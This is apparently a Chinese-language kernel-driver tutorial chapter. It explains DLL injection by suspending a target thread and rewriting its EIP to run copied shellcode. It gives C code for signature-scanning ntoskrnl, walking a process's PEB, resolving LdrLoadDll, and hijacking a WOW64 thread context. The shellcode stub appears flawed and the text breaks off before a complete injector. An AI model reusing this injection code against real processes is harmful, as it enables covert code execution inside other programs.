本章將探索內核級DLL模塊注入實作原理,DLL模塊注入在應用層中通常會使用CreateRemoteThread直接開啟遠程執行緒執行即可,驅動級別的注入有多種實作原理,而其中最簡單的一種實作方式則是通過劫持EIP的方式實作,其實作原理可總結為,掛起目標行程,停止目標行程EIP的變換,在目標行程開啟空間,并把相關的指令機器碼和資料拷貝到里面去,然后直接修改目標行程EIP使其強行跳轉到我們拷貝進去的相關機器碼位置,執行相關代碼后,然后再次跳轉回來執行原始指令集,
在內核模式中實作這一程序大體可分為如下步驟;
- 1.通過
PsLookupProcessByProcessId將行程PID轉為EProcess結構 - 2.通過
KeStackAttachProcess附加到目標行程 - 3.通過
GetUserModule得到當前行程中Ntdll.dll模塊的基址 - 4.通過
GetModuleExport得到Ntdll.dll模塊內LdrLoadDll函式基址 - 5.通過
ZwGetNextThread得到當前執行緒句柄 - 6.通過
PsSuspendThread暫停當前執行緒運行 - 7.此時通過
GetWow64Code生成特定的加載代碼,并放入ZwAllocateVirtualMemory生成的記憶體中 - 8.修改當前EIP的值指向
newAddress記憶體地址 - 7.通過
PsResumeThread恢復執行緒執行,讓其執行我們的ShellCode代碼 - 8.最后呼叫
KeUnstackDetachProcess脫離目標行程,并釋放句柄
首先需要定義一個標準頭檔案,并將其命名為lyshark.h其定義部分如下所示,此部分內容摘錄于微軟官方檔案,如果需要了解結構體內的含義,請去自行查閱微軟官方檔案;
// 署名權
// right to sign one's name on a piece of work
// PowerBy: LyShark
// Email: [email protected]
#include <ntifs.h>
#include <windef.h>
#include <intrin.h>
#include <ntimage.h>
#include <ntstrsafe.h>
// 執行緒結構體偏移值
#define MAXCOUNTS 0x200
#define INITIALSTACKOFFSET 0x28
#define WOW64CONTEXTOFFSET 0x1488
#define WOW64_SIZE_OF_80387_REGISTERS 80
#define WOW64_MAXIMUM_SUPPORTED_EXTENSION 512
// 匯出函式
NTKERNELAPI PPEB NTAPI PsGetProcessPeb(IN PEPROCESS Process);
// 定義自定義函式指標
typedef PVOID(NTAPI* PPsGetThreadTeb)(IN PETHREAD Thread);
typedef PVOID(NTAPI* PPsGetProcessWow64Process)(_In_ PEPROCESS Process);
typedef NTSTATUS(NTAPI* PPsResumeThread)(PETHREAD Thread, OUT PULONG PreviousCount);
typedef NTSTATUS(NTAPI* PPsSuspendThread)(IN PETHREAD Thread, OUT PULONG PreviousSuspendCount OPTIONAL);
typedef NTSTATUS(NTAPI* PZwGetNextThread)(_In_ HANDLE ProcessHandle, _In_ HANDLE ThreadHandle, _In_ ACCESS_MASK DesiredAccess, _In_ ULONG HandleAttributes, _In_ ULONG Flags, _Out_ PHANDLE NewThreadHandle);
// 存放全域函式指標的變數
PPsGetThreadTeb g_PsGetThreadTeb = NULL;
PPsResumeThread g_PsResumeThread = NULL;
PPsSuspendThread g_PsSuspendThread = NULL;
PZwGetNextThread g_ZwGetNextThread = NULL;
PPsGetProcessWow64Process g_PsGetProcessWow64Process = NULL;
// 定義微軟結構體
typedef struct _PEB_LDR_DATA32
{
ULONG Length;
UCHAR Initialized;
ULONG SsHandle;
LIST_ENTRY32 InLoadOrderModuleList;
LIST_ENTRY32 InMemoryOrderModuleList;
LIST_ENTRY32 InInitializationOrderModuleList;
} PEB_LDR_DATA32, *PPEB_LDR_DATA32;
typedef struct _PEB_LDR_DATA
{
ULONG Length;
UCHAR Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
typedef struct _LDR_DATA_TABLE_ENTRY32
{
LIST_ENTRY32 InLoadOrderLinks;
LIST_ENTRY32 InMemoryOrderLinks;
LIST_ENTRY32 InInitializationOrderLinks;
ULONG DllBase;
ULONG EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING32 FullDllName;
UNICODE_STRING32 BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
LIST_ENTRY32 HashLinks;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY32, *PLDR_DATA_TABLE_ENTRY32;
typedef struct _LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
LIST_ENTRY HashLinks;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
typedef struct _PEB32
{
UCHAR InheritedAddressSpace;
UCHAR ReadImageFileExecOptions;
UCHAR BeingDebugged;
UCHAR BitField;
ULONG Mutant;
ULONG ImageBaseAddress;
ULONG Ldr;
ULONG ProcessParameters;
ULONG SubSystemData;
ULONG ProcessHeap;
ULONG FastPebLock;
ULONG AtlThunkSListPtr;
ULONG IFEOKey;
ULONG CrossProcessFlags;
ULONG UserSharedInfoPtr;
ULONG SystemReserved;
ULONG AtlThunkSListPtr32;
ULONG ApiSetMap;
} PEB32, *PPEB32;
typedef struct _PEB
{
UCHAR InheritedAddressSpace;
UCHAR ReadImageFileExecOptions;
UCHAR BeingDebugged;
UCHAR BitField;
PVOID Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA Ldr;
PVOID ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PVOID FastPebLock;
PVOID AtlThunkSListPtr;
PVOID IFEOKey;
PVOID CrossProcessFlags;
PVOID KernelCallbackTable;
ULONG SystemReserved;
ULONG AtlThunkSListPtr32;
PVOID ApiSetMap;
} PEB, *PPEB;
typedef struct _KLDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
PVOID ExceptionTable;
ULONG ExceptionTableSize;
PVOID GpValue;
ULONG UnKnow;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT __Unused5;
PVOID SectionPointer;
ULONG CheckSum;
PVOID LoadedImports;
PVOID PatchInformation;
} KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;
typedef struct _WOW64_FLOATING_SAVE_AREA
{
DWORD ControlWord;
DWORD StatusWord;
DWORD TagWord;
DWORD ErrorOffset;
DWORD ErrorSelector;
DWORD DataOffset;
DWORD DataSelector;
BYTE RegisterArea[WOW64_SIZE_OF_80387_REGISTERS];
DWORD Cr0NpxState;
} WOW64_FLOATING_SAVE_AREA;
typedef struct _WOW64_CONTEXT
{
DWORD padding;
DWORD ContextFlags;
DWORD Dr0;
DWORD Dr1;
DWORD Dr2;
DWORD Dr3;
DWORD Dr6;
DWORD Dr7;
WOW64_FLOATING_SAVE_AREA FloatSave;
DWORD SegGs;
DWORD SegFs;
DWORD SegEs;
DWORD SegDs;
DWORD Edi;
DWORD Esi;
DWORD Ebx;
DWORD Edx;
DWORD Ecx;
DWORD Eax;
DWORD Ebp;
DWORD Eip;
DWORD SegCs;
DWORD EFlags;
DWORD Esp;
DWORD SegSs;
BYTE ExtendedRegisters[WOW64_MAXIMUM_SUPPORTED_EXTENSION];
} WOW64_CONTEXT, *PWOW64_CONTEXT;
// 自定義注入結構體
typedef struct _INJECT_BUFFER
{
UCHAR Code[0x200];
UNICODE_STRING Path;
UNICODE_STRING32 Path32;
wchar_t Buffer[488];
PVOID ModuleHandle;
ULONG Complete;
NTSTATUS Status;
ULONG64 orgRipAddress;
ULONG64 orgRip;
} INJECT_BUFFER, *PINJECT_BUFFER;
SearchOPcode 特征碼定位基址: 在注入之前我們需要通過SearchOPcode()函式動態的尋找幾個關鍵函式的基址,以PsSuspendThread函式的尋找為例,通過WinDBG我們可以定位到該函式,該函式模塊在ntoskrnl.exe中,且無法直接通過MmGetSystemRoutineAddress拿到,為了能通過代碼拿到該函式的入口地址,我提取fffff804204de668到fffff804204de670位置處的特征碼,由于fffff804204de668距離PsSuspendThread函式開頭只有24位元組,所以直接通過-24即可得到,

通過呼叫SearchOPcode()并傳入機器碼即可直接拿到PsSuspendThread的入口地址,根據上述方式我們需要分別得到PsSuspendThread,PsResumeThread這幾個函式的記憶體基址,這些函式的具體作用如下所示;
- PsSuspendThread() 用于暫停或者掛起執行緒
- PsResumeThread() 用于恢復執行緒
其次還需要通過MmGetSystemRoutineAddress函式動態的得到ZwGetNextThread,PsGetThreadTeb,PsGetProcessWow64Process這幾個函式的基址,這些函式的具體作用如下所示;
- ZwGetNextThread() 用于獲取下一個活動執行緒
- PsGetThreadTeb() 用于獲取執行緒TEB結構
- PsGetProcessWow64Process() 判斷當前行程是否為32位
完整代碼如下所示,運行這段代碼將定位到我們所需的所有內核函式的基址資訊;
// 署名權
// right to sign one's name on a piece of work
// PowerBy: LyShark
// Email: [email protected]
#include "lyshark.h"
// 內核特征碼定位函式封裝
// 引數1:傳入驅動句柄
// 引數2:傳入驅動模塊名
// 引數3:傳入節表名稱
// 引數4:傳入待搜索機器碼位元組陣列
// 引數5:傳入機器碼長度
// 引數6:基址修正位元組數
PVOID SearchOPcode(PDRIVER_OBJECT pObj, PWCHAR DriverName, PCHAR sectionName, PUCHAR opCode, DWORD len, DWORD offset)
{
PVOID dllBase = NULL;
UNICODE_STRING uniDriverName;
PKLDR_DATA_TABLE_ENTRY firstentry;
// 獲取驅動入口
PKLDR_DATA_TABLE_ENTRY entry = (PKLDR_DATA_TABLE_ENTRY)pObj->DriverSection;
firstentry = entry;
RtlInitUnicodeString(&uniDriverName, DriverName);
// 開始遍歷
while ((PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink != firstentry)
{
if (entry->FullDllName.Buffer != 0 && entry->BaseDllName.Buffer != 0)
{
// 如果找到了所需模塊則將其基地址回傳
if (RtlCompareUnicodeString(&uniDriverName, &(entry->BaseDllName), FALSE) == 0)
{
dllBase = entry->DllBase;
break;
}
}
entry = (PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink;
}
if (dllBase)
{
__try
{
// 載入模塊基地址
PIMAGE_DOS_HEADER ImageDosHeader = (PIMAGE_DOS_HEADER)dllBase;
if (ImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
return NULL;
}
// 得到模塊NT頭以及Section節頭
PIMAGE_NT_HEADERS64 pImageNtHeaders64 = (PIMAGE_NT_HEADERS64)((PUCHAR)dllBase + ImageDosHeader->e_lfanew);
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((PUCHAR)pImageNtHeaders64 + sizeof(pImageNtHeaders64->Signature) + sizeof(pImageNtHeaders64->FileHeader) + pImageNtHeaders64->FileHeader.SizeOfOptionalHeader);
PUCHAR endAddress = 0;
PUCHAR starAddress = 0;
// 尋找符合條件的節
for (int i = 0; i < pImageNtHeaders64->FileHeader.NumberOfSections; i++)
{
if (memcmp(sectionName, pSectionHeader->Name, strlen(sectionName) + 1) == 0)
{
starAddress = pSectionHeader->VirtualAddress + (PUCHAR)dllBase;
endAddress = pSectionHeader->VirtualAddress + (PUCHAR)dllBase + pSectionHeader->SizeOfRawData;
break;
}
pSectionHeader++;
}
if (endAddress && starAddress)
{
// 找到會開始尋找特征
for (; starAddress < endAddress - len - 1; starAddress++)
{
// 驗證訪問權限
if (MmIsAddressValid(starAddress))
{
DWORD i = 0;
for (; i < len; i++)
{
// 判斷是否為通配符'*'
if (opCode[i] == 0x2a)
{
continue;
}
// 找到了一個位元組則跳出
if (opCode[i] != starAddress[i])
{
break;
}
}
// 找到次數完全匹配則回傳地址
if (i == len)
{
return starAddress + offset;
}
}
}
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {}
}
return NULL;
}
NTSTATUS UnDriver(PDRIVER_OBJECT driver)
{
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath)
{
DbgPrint("Hello LyShark.com \n");
/*
0: kd> uf PsSuspendThread
nt!PsSuspendThread:
fffff804`204de650 4889542410 mov qword ptr [rsp+10h],rdx
fffff804`204de655 48894c2408 mov qword ptr [rsp+8],rcx
fffff804`204de65a 53 push rbx
fffff804`204de65b 56 push rsi
fffff804`204de65c 57 push rdi
fffff804`204de65d 4156 push r14
fffff804`204de65f 4157 push r15
fffff804`204de661 4883ec30 sub rsp,30h
fffff804`204de665 4c8bf2 mov r14,rdx
fffff804`204de668 488bf9 mov rdi,rcx
fffff804`204de66b 8364242000 and dword ptr [rsp+20h],0
fffff804`204de670 65488b342588010000 mov rsi,qword ptr gs:[188h]
fffff804`204de679 4889742470 mov qword ptr [rsp+70h],rsi
fffff804`204de67e 66ff8ee4010000 dec word ptr [rsi+1E4h]
fffff804`204de685 4c8db9c8060000 lea r15,[rcx+6C8h]
fffff804`204de68c 4c897c2478 mov qword ptr [rsp+78h],r15
fffff804`204de691 498bcf mov rcx,r15
fffff804`204de694 e8c7ff95ff call nt!ExAcquireRundownProtection (fffff804`1fe3e660)
fffff804`204de699 84c0 test al,al
fffff804`204de69b 0f84495a1100 je nt!PsSuspendThread+0x115a9a (fffff804`205f40ea) Branch
*/
UCHAR SuspendOpCode[] = { 0x48, 0x8b, 0xf9, 0x83, 0x64, 0x24, 0x20, 0x00, 0x65, 0x48, 0x8b, 0x34, 0x25, 0x88, 0x01 };
/*
0: kd> uf PsResumeThread
nt!PsResumeThread:
fffff804`204c7ab0 48895c2408 mov qword ptr [rsp+8],rbx
fffff804`204c7ab5 4889742410 mov qword ptr [rsp+10h],rsi
fffff804`204c7aba 57 push rdi
fffff804`204c7abb 4883ec20 sub rsp,20h
fffff804`204c7abf 488bda mov rbx,rdx
fffff804`204c7ac2 488bf9 mov rdi,rcx
fffff804`204c7ac5 e8ee4fa5ff call nt!KeResumeThread (fffff804`1ff1cab8)
fffff804`204c7aca 65488b142588010000 mov rdx,qword ptr gs:[188h]
fffff804`204c7ad3 8bf0 mov esi,eax
fffff804`204c7ad5 83f801 cmp eax,1
fffff804`204c7ad8 7521 jne nt!PsResumeThread+0x4b (fffff804`204c7afb) Branch
*/
UCHAR ResumeOpCode[] = { 0x48, 0x8b, 0xf9, 0xe8, 0xee, 0x4f, 0xa5, 0xff, 0x65, 0x48, 0x8b, 0x14, 0x25, 0x88 };
// 特征碼檢索PsSuspendThread函式基址
g_PsSuspendThread = (PPsSuspendThread)SearchOPcode(Driver, L"ntoskrnl.exe", "PAGE", SuspendOpCode, sizeof(SuspendOpCode), -24);
DbgPrint("PsSuspendThread = %p \n", g_PsSuspendThread);
// 特征碼檢索PsResumeThread基址
g_PsResumeThread = (PPsResumeThread)SearchOPcode(Driver, L"ntoskrnl.exe", "PAGE", ResumeOpCode, sizeof(ResumeOpCode), -18);
DbgPrint("PsResumeThread = %p \n", g_PsResumeThread);
// 動態獲取記憶體中的ZwGetNextThread基址
UNICODE_STRING ZwGetNextThreadString = RTL_CONSTANT_STRING(L"ZwGetNextThread");
g_ZwGetNextThread = (PZwGetNextThread)MmGetSystemRoutineAddress(&ZwGetNextThreadString);
DbgPrint("ZwGetNextThread = %p \n", g_ZwGetNextThread);
// 動態獲取記憶體中的PsGetThreadTeb基址
UNICODE_STRING PsGetThreadTebString = RTL_CONSTANT_STRING(L"PsGetThreadTeb");
g_PsGetThreadTeb = (PPsGetThreadTeb)MmGetSystemRoutineAddress(&PsGetThreadTebString);
DbgPrint("PsGetThreadTeb = %p \n", g_PsGetThreadTeb);
// 動態獲取記憶體中的PsGetProcessWow64Process基址
UNICODE_STRING PsGetProcessWow64ProcessString = RTL_CONSTANT_STRING(L"PsGetProcessWow64Process");
g_PsGetProcessWow64Process = (PPsGetProcessWow64Process)MmGetSystemRoutineAddress(&PsGetProcessWow64ProcessString);
DbgPrint("PsGetProcessWow64Process = %p \n", g_PsGetProcessWow64Process);
Driver->DriverUnload = UnDriver;
return STATUS_SUCCESS;
}
編譯并運行如上代碼片段,則會輸出我們所需函式的入口地址,輸出效果圖如下所示;

GetUserModule 獲取模塊基址: 此函式的功能是獲取到當前內核下特定模塊的基址,函式接收三個引數,在入口DriverEntry位置通過KeStackAttachProcess附加到行程空間內,如果是32位行程則通過PsGetProcessWow64Process得到行程的PEB結構,如果是64位則通過PsGetProcessPeb得到PEB行程環境塊的目的是為了決議PLIST_ENTRY32鏈表,通過RtlCompareUnicodeString對比模塊是否符合要求,如果符合則在此鏈表中取出LdrDataTableEntry32->DllBase模塊基址并回傳給呼叫者,其完整代碼片段如下所示;
- 1.通過
KeStackAttachProcess附加到用戶層行程空間內 - 2.通過各種函式獲取到行程
PEB行程環境塊 - 3.遍歷
PLIST_ENTRY32鏈表,判斷ModuleName是否所需 - 4.獲取
LdrDataTableEntry32->DllBase中的模塊基址
// 署名權
// right to sign one's name on a piece of work
// PowerBy: LyShark
// Email: [email protected]
#include "lyshark.h"
// 得到當前用戶行程下的模塊基址
// 引數1:傳入用戶EProcess結構
// 引數2:傳入模塊名
// 引數3:是否32位
PVOID GetUserModule(IN PEPROCESS EProcess, IN PUNICODE_STRING ModuleName, IN BOOLEAN IsWow64)
{
if (EProcess == NULL)
return NULL;
__try
{
// 執行32位
if (IsWow64)
{
// 獲取32位下的PEB行程環境塊
PPEB32 Peb32 = (PPEB32)g_PsGetProcessWow64Process(EProcess);
if (Peb32 == NULL)
return NULL;
if (!Peb32->Ldr)
return NULL;
// 回圈遍歷鏈表 尋找模塊
for (PLIST_ENTRY32 ListEntry = (PLIST_ENTRY32)((PPEB_LDR_DATA32)Peb32->Ldr)->InLoadOrderModuleList.Flink;
ListEntry != &((PPEB_LDR_DATA32)Peb32->Ldr)->InLoadOrderModuleList;
ListEntry = (PLIST_ENTRY32)ListEntry->Flink)
{
UNICODE_STRING UnicodeString;
PLDR_DATA_TABLE_ENTRY32 LdrDataTableEntry32 = CONTAINING_RECORD(ListEntry, LDR_DATA_TABLE_ENTRY32, InLoadOrderLinks);
// 初始化模塊名
RtlUnicodeStringInit(&UnicodeString, (PWCH)LdrDataTableEntry32->BaseDllName.Buffer);
// 對比模塊名是否符合
if (RtlCompareUnicodeString(&UnicodeString, ModuleName, TRUE) == 0)
return (PVOID)LdrDataTableEntry32->DllBase;
}
}
// 執行64位
else
{
// 得到64位PEB行程環境塊
PPEB Peb = PsGetProcessPeb(EProcess);
if (!Peb)
return NULL;
if (!Peb->Ldr)
return NULL;
// 開始遍歷模塊
for (PLIST_ENTRY ListEntry = Peb->Ldr->InLoadOrderModuleList.Flink;
ListEntry != &Peb->Ldr->InLoadOrderModuleList;
ListEntry = ListEntry->Flink)
{
// 得到表頭
PLDR_DATA_TABLE_ENTRY LdrDataTableEntry = CONTAINING_RECORD(ListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
// 判斷是否是所需要的模塊
if (RtlCompareUnicodeString(&LdrDataTableEntry->BaseDllName, ModuleName, TRUE) == 0)
return LdrDataTableEntry->DllBase;
}
}
}
__except (EXCEPTION_EXECUTE_HANDLER){}
return NULL;
}
NTSTATUS UnDriver(PDRIVER_OBJECT driver)
{
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath)
{
DbgPrint("Hello LyShark.com \n");
// 動態獲取記憶體中的PsGetProcessWow64Process基址
UNICODE_STRING PsGetProcessWow64ProcessString = RTL_CONSTANT_STRING(L"PsGetProcessWow64Process");
g_PsGetProcessWow64Process = (PPsGetProcessWow64Process)MmGetSystemRoutineAddress(&PsGetProcessWow64ProcessString);
DbgPrint("PsGetProcessWow64Process = %p \n", g_PsGetProcessWow64Process);
PEPROCESS pEprocess = NULL;
DWORD pid = 6084;
// 根據PID得到行程Eprocess結構
if (NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)pid, &pEprocess)))
{
// 初始化結構
UNICODE_STRING ntdllString = RTL_CONSTANT_STRING(L"Ntdll.dll");
KAPC_STATE kApc = { 0 };
// 附加到行程內
KeStackAttachProcess(pEprocess, &kApc);
// 獲取NTDLL的模塊基地址
PVOID ntdll_address = GetUserModule(pEprocess, &ntdllString, TRUE);
if (ntdll_address != NULL)
{
DbgPrint("[*] Ntdll Addr = %p \n", ntdll_address);
}
// 取消附加
KeUnstackDetachProcess(&kApc);
// 遞減計數
ObDereferenceObject(pEprocess);
}
Driver->DriverUnload = UnDriver;
return STATUS_SUCCESS;
}
運行如上這段程式,則會取出行程ID為6084中Ntdll.dll的模塊基址,輸出效果圖如下所示;

GetModuleExport 取匯出表函式基址: 此函式的功能是獲取到當前內核下特定模塊中的特定函式(記憶體中)基址,函式接收兩個引數,在入口DriverEntry位置通過KeStackAttachProcess附加到行程空間內,通過決議IMAGE_DIRECTORY_ENTRY_EXPORT匯出表取出匯出函式名,此處需要注意如果函式名指標小于等于0xFFFF則說明是序號匯出,如果大于0xFFFF則說明是名字匯出,判斷名字是否一致,如果一致則回傳當前記憶體的ModuleBase模塊基址加上pAddressOfFuncs[OrdIndex]相對偏移,從而獲取到記憶體中的絕對地址,完整代碼片段如下所示;
// 署名權
// right to sign one's name on a piece of work
// PowerBy: LyShark
// Email: [email protected]
#include "lyshark.h"
// 根據函式名得到匯出表地址
// 引數1:傳入模塊入口地址
// 引數2:傳入匯出函式名
PVOID GetModuleExport(IN PVOID ModuleBase, IN PCCHAR FunctionName)
{
PIMAGE_DOS_HEADER ImageDosHeader = (PIMAGE_DOS_HEADER)ModuleBase;
PIMAGE_NT_HEADERS32 ImageNtHeaders32 = NULL;
PIMAGE_NT_HEADERS64 ImageNtHeaders64 = NULL;
PIMAGE_EXPORT_DIRECTORY ImageExportDirectory = NULL;
ULONG ExportDirectorySize = 0;
ULONG_PTR FunctionAddress = 0;
if (ModuleBase == NULL)
return NULL;
__try
{
// 判斷是否是DOS頭
if (ImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
return NULL;
}
// 獲取PE結構節NT頭
ImageNtHeaders32 = (PIMAGE_NT_HEADERS32)((PUCHAR)ModuleBase + ImageDosHeader->e_lfanew);
ImageNtHeaders64 = (PIMAGE_NT_HEADERS64)((PUCHAR)ModuleBase + ImageDosHeader->e_lfanew);
// 判斷是否是64位
if (ImageNtHeaders64->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC)
{
// 如果是64位則執行如下
ImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + (ULONG_PTR)ModuleBase);
ExportDirectorySize = ImageNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
}
else
{
// 如果32位則執行如下
ImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageNtHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + (ULONG_PTR)ModuleBase);
ExportDirectorySize = ImageNtHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
}
// 取出匯出表Index,名字,函地址等
PUSHORT pAddressOfOrds = (PUSHORT)(ImageExportDirectory->AddressOfNameOrdinals + (ULONG_PTR)ModuleBase);
PULONG pAddressOfNames = (PULONG)(ImageExportDirectory->AddressOfNames + (ULONG_PTR)ModuleBase);
PULONG pAddressOfFuncs = (PULONG)(ImageExportDirectory->AddressOfFunctions + (ULONG_PTR)ModuleBase);
// 回圈匯出表
for (ULONG i = 0; i < ImageExportDirectory->NumberOfFunctions; ++i)
{
USHORT OrdIndex = 0xFFFF;
PCHAR pName = NULL;
// 說明是序號匯出
if ((ULONG_PTR)FunctionName <= 0xFFFF)
{
// 得到函式序號
OrdIndex = (USHORT)i;
}
// 說明是名字匯出
else if ((ULONG_PTR)FunctionName > 0xFFFF && i < ImageExportDirectory->NumberOfNames)
{
// 得到函式名
pName = (PCHAR)(pAddressOfNames[i] + (ULONG_PTR)ModuleBase);
OrdIndex = pAddressOfOrds[i];
}
else
return NULL;
// 判斷函式名是否符合
if (((ULONG_PTR)FunctionName <= 0xFFFF && (USHORT)((ULONG_PTR)FunctionName) == OrdIndex + ImageExportDirectory->Base) ||
((ULONG_PTR)FunctionName > 0xFFFF && strcmp(pName, FunctionName) == 0))
{
// 得到完整地址
FunctionAddress = pAddressOfFuncs[OrdIndex] + (ULONG_PTR)ModuleBase;
break;
}
}
}
__except (EXCEPTION_EXECUTE_HANDLER){}
return (PVOID)FunctionAddress;
}
NTSTATUS UnDriver(PDRIVER_OBJECT driver)
{
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath)
{
DbgPrint("Hello LyShark.com \n");
PEPROCESS pEprocess = NULL;
DWORD pid = 6084;
// 根據PID得到行程Eprocess結構
if (NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)pid, &pEprocess)))
{
KAPC_STATE kApc = { 0 };
// ntdll.dll模塊基址
PVOID ntdll_address = (PVOID)0x0000000077540000;
// 附加到行程內
KeStackAttachProcess(pEprocess, &kApc);
// 取模塊中LdrLoadDll函式基址
PVOID LdrLoadDllAddress = GetModuleExport(ntdll_address, "LdrLoadDll");
DbgPrint("[*] LdrLoadDllAddress = %p \n", LdrLoadDllAddress);
// 取消附加
KeUnstackDetachProcess(&kApc);
// 遞減計數
ObDereferenceObject(pEprocess);
}
Driver->DriverUnload = UnDriver;
return STATUS_SUCCESS;
}
編譯并運行如上代碼片段,即可獲取到行程6084號,ntdll.dll模塊中LdrLoadDll的記憶體地址,其輸出效果圖如下所示;

GetCurrentContext 獲取當前執行緒背景關系: 此函式的功能是獲取附加行程內當前執行緒的背景關系地址,函式接收一個引數,內部通過PsLookupProcessByProcessId得到行程EProcess結構體,通過KeStackAttachProcess附加到行程內,呼叫g_ZwGetNextThread獲取當當前執行緒背景關系,函式ObReferenceObjectByHandle用于將Handle轉換為執行緒物件,之后再通過g_PsSuspendThread暫停執行緒后,即可通過各類函式獲取到該執行緒的絕大部分資訊,最終在呼叫結束時記得呼叫g_PsResumeThread恢復執行緒的運行,并KeUnstackDetachProcess脫離附加,決議背景關系環境完整代碼如下所示;
// 署名權
// right to sign one's name on a piece of work
// PowerBy: LyShark
// Email: [email protected]
#include "lyshark.h"
// ShellCode 注入執行緒函式
NTSTATUS GetCurrentContext(ULONG pid, PVOID* allcateAddress)
{
PEPROCESS pEprocess = NULL;
// 根據PID得到行程Eprocess結構
if (NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)pid, &pEprocess)))
{
KAPC_STATE kApc = { 0 };
// 附加到行程內
KeStackAttachProcess(pEprocess, &kApc);
HANDLE threadHandle = NULL;
// 得到當前正在運行的執行緒背景關系
if (NT_SUCCESS(g_ZwGetNextThread((HANDLE)-1, (HANDLE)0, 0x1FFFFF, 0x240, 0, &threadHandle)))
{
PVOID threadObj = NULL;
// 在物件句柄上提供訪問驗證,如果可以授予訪問權限,則回傳指向物件的正文的相應指標,
NTSTATUS state = ObReferenceObjectByHandle(threadHandle, 0x1FFFFF, *PsThreadType, KernelMode, &threadObj, NULL);
if (NT_SUCCESS(state))
{
// 暫停執行緒
g_PsSuspendThread(threadObj, NULL);
__try
{
// 得到TEB
PVOID pTeb = g_PsGetThreadTeb(threadObj);
if (pTeb)
{
DbgPrint("[+] 執行緒環境塊TEB = %p \n", pTeb);
// 得到當前執行緒背景關系
/* WOW64CONTEXTOFFSET = TlsSlots + 8
0: kd> dt _TEB
nt!_TEB
+ 0x000 NtTib : _NT_TIB
+ 0x1258 StaticUnicodeString : _UNICODE_STRING
+ 0x1268 StaticUnicodeBuffer : [261] Wchar
+ 0x1472 Padding3 : [6] UChar
+ 0x1478 DeallocationStack : Ptr64 Void
+ 0x1480 TlsSlots : [64] Ptr64 Void
+ 0x1680 TlsLinks : _LIST_ENTRY
+ 0x1690 Vdm : Ptr64 Void
+ 0x1698 ReservedForNtRpc : Ptr64 Void
+ 0x16a0 DbgSsReserved : [2] Ptr64 Void
*/
PWOW64_CONTEXT pCurrentContext = (PWOW64_CONTEXT)(*(ULONG64*)((ULONG64)pTeb + WOW64CONTEXTOFFSET));
DbgPrint("[-] 當前背景關系EIP = %p \n", pCurrentContext->Eip);
// 檢查背景關系是否可讀
ProbeForRead((PVOID)pCurrentContext, sizeof(pCurrentContext), sizeof(CHAR));
UCHAR Code[] = {
0xb8, 0x0, 0x0, 0x0, 0x0, // mov eax, orgEip
0x58, // pop eax
0xc3 // ret
};
// 將ShellCode拷貝到InjectBuffer中等待處理
RtlCopyMemory(allcateAddress, Code, sizeof(Code));
DbgPrint("[*] 拷貝 [%p] 記憶體 \n", allcateAddress);;
// 修改代碼模板,將指定位置替換為我們自己的代碼
*(ULONG*)((PUCHAR)allcateAddress + 1) = pCurrentContext->Eip;
DbgPrint("[*] 替換 [ %p ] 跳轉地址 \n", pCurrentContext->Eip);
// 執行執行緒
pCurrentContext->Eip = (ULONG)(ULONG64)(allcateAddress);
DbgPrint("[*] 執行 [ %p ] 執行緒函式 \n", pCurrentContext->Eip);
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {}
// 恢復執行緒
g_PsResumeThread(threadObj, NULL);
ObDereferenceObject(threadObj);
}
NtClose(threadHandle);
}
// 關閉執行緒
KeUnstackDetachProcess(&kApc);
ObDereferenceObject(pEprocess);
}
return STATUS_SUCCESS;
}
NTSTATUS UnDriver(PDRIVER_OBJECT driver)
{
UNREFERENCED_PARAMETER(driver);
return STATUS_SUCCESS;
}
